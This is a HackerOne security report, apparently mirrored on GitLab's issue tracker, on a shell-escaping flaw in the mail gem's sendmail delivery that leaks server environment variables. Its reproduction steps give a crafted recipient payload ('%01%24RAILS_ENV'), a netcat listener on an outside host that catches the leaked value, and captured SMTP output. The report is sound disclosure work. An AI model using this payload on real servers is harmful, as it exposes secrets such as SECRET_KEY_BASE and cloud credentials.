Environment variables can be leaked via the `:sendmail` delivery method
HackerOne report #1286317 by vakzz
on 2021-08-02, assigned to @rshambhuni:
Report
Summary
The gitlab omnibus edition defaults to using :sendmail
as the delivery method for emails. ActionMailer depends on mail v2.7.1 for this https://gitlab.com/gitlab-org/gitlab/-/blob/v14.1.1-ee/Gemfile.lock#L1546
When :sendmail
is used as the delivery method, /usr/sbin/sendmail
will end up being called with the to
address going through the following function:
https://github.com/mikel/mail/blob/2.7.1/lib/mail/network/delivery_methods/sendmail.rb#L85-L93
def self.shellquote(address)
# Process as a single byte sequence because not all shell
# implementations are multibyte aware.
#
# A LF cannot be escaped with a backslash because a backslash + LF
# combo is regarded as line continuation and simply ignored. Strip it.
escaped = address.gsub(/([^A-Za-z0-9_\s\+\-.,:\/@~])/n, "\\\\\\1").gsub("\n", '')
%("#{escaped}")
end
There is a long standing issue in bash where a backlash followed by a \001
character can cause issues with interpolation
https://lists.gnu.org/archive/html/bug-bash/2007-03/msg00065.html which causes \^A\$
to think second backslash is being escaped and leaves the $
unescaped (^A
is \x00
and can be entered with ctrl-v ctrl-a):
bash-5.1$ echo -n "\^A\$USER" | xxd
00000000: 5c01 5c77 696c 6c \.\will
So if an email is sent to "someone+\x01$HOME@place.com"
then after shellqoute it will be "someone+\\u0001\$HOME@place.com"
and bash will expand the HOME
variable.
Since sendmail
is run using a string to IO.popen
, this bug relies on bash being the default /bin/sh shell (which it is on OSX, RHEL, Centos and can be done in Ubuntu with dpkg-reconfigure dash
) .
Steps to reproduce
- Use something like vagrant/virtualbox to create a CentOS 8 vm or spin up a vps
- Following the instructions to install gitlab https://about.gitlab.com/install/#centos-8.
- (ALT) Alternatively to steps 1 and 2 the docker installation can be used if you run
dpkg-reconfigure dash
and disable dash as the default system shell - Somewhere with a publicly accessible ip run
echo -e '200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n' | sudo nc -vl 25
- Login to gitlab and create a new project
- Go to Settings -> Integrations -> Emails on push
- Fire up Burp or open the network tab in Chrome
- In the
Recipients
enteruser+test@111.111.111.111.getmoss.site
replacing111.111.111.111
with the ip of the machine runningnc
- Ensure
Trigger event for pushes to the repository.
is checked and press save - Either edit the request in burp or copy as curl from the network tab and change the
test
in the email to be%01%24RAILS_ENV
and run the request - Edit or add a file to the project
- You should see the environment variable in the
to
address innc
$ echo -e '200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n' | sudo nc -vl 25
Listening on [103.xxx.xxx.xxx] (family 0, port 25)
Connection from [45.xxx.xxx.xxx] port 25 [tcp/smtp] accepted (family 2, sport 53932)
EHLO localhost.localdomain
MAIL FROM:<gitlab@gitlab.testing>
RCPT TO:<"will+production"[@]103.xxx.xxx.xxx.getmoss.site>
DATA
RSET
QUIT
Impact
An attacker can read arbitrary environment variables from the server if bash is configured as the default shell. As sensitive values are often passed around using environment variables (such as SECRET_KEY_BASE
or aws credentials) they could be read and used to gain further access
Examples
See the steps to reproduce
What is the current bug behavior?
- No validation on email addresses
- The mail gem passes a string to
IO.popen
causing a shell to be used - Insufficient escaping of the email addresses by the mail gem
What is the expected correct behavior?
The master branch of mail seems to have fixed the issue by passing an array to IO.popen
to avoid a shell, but there doesn't seem to be a new release https://github.com/mikel/mail/blob/master/lib/mail/network/delivery_methods/sendmail.rb#L63
The email addresses could also be validated before being used to ensure that they have no invalid characters.
Relevant logs and/or screenshots
Output of checks
Results of GitLab environment info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.3
Redis Version: 6.0.14
Git Version: 2.32.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 14.1.1-ee
Revision: f331f932688
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.6
URL: http://gitlab.testing
HTTP Clone URL: http://gitlab.testing/some-group/some-project.git
SSH Clone URL: git@gitlab.testing:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.19.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
An attacker can read arbitrary environment variables from the server if bash is configured as the default shell. As sensitive values are often passed around using environment variables (such as SECRET_KEY_BASE
or aws credentials) they could be read and used to gain further access
How To Reproduce
Please add reproducibility information to this section: